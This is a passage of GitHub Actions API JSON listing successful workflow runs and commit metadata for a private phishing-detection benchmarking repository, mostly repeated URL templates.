","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73838441,"node_id":"MDExOldvcmtmbG93UnVuNzM4Mzg0NDE=","head_branch":"bug_fix","head_sha":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","run_number":105,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583662017,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM2NjIwMTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73838441","pull_requests":[],"created_at":"2020-04-08T19:35:11Z","updated_at":"2020-04-08T19:39:39Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583662017","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73838441/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e7f83e2f5cde59a572f5cc7499caeb5bd9304004","tree_id":"cc3ac8c15c02c62b105f691d0357cd549166edcc","message":"feature_list_dict_train was not defined","timestamp":"2020-04-08T19:31:45Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73808580,"node_id":"MDExOldvcmtmbG93UnVuNzM4MDg1ODA=","head_branch":"bug_fix","head_sha":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","run_number":104,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583550455,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM1NTA0NTU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73808580","pull_requests":[],"created_at":"2020-04-08T18:54:25Z","updated_at":"2020-04-08T18:58:54Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583550455","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","tree_id":"db548767f1146504f956421a62afc639de593d47","message":"removed print","timestamp":"2020-04-08T18:54:06Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73790390,"node_id":"MDExOldvcmtmbG93UnVuNzM3OTAzOTA=","head_branch":"bug_fix","head_sha":"a7b2cfc9711f35772f538a4e35ad88fe52c96a16","run_number":103,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583467575,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM0Njc1NzU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73790390","pull_requests":[],"created_at":"2020-04-08T18:19:24Z","updated_at":"2020-04-08T18:23:35Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583467575","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a7b2cfc9711f35772f538a4e35ad88fe52c96a16","tree_id":"b7e940bfd0998387ba73aa51fdd8005a495ac35f","message":"feature_list_dict_train was not defined","timestamp":"2020-04-08T18:19:01Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/r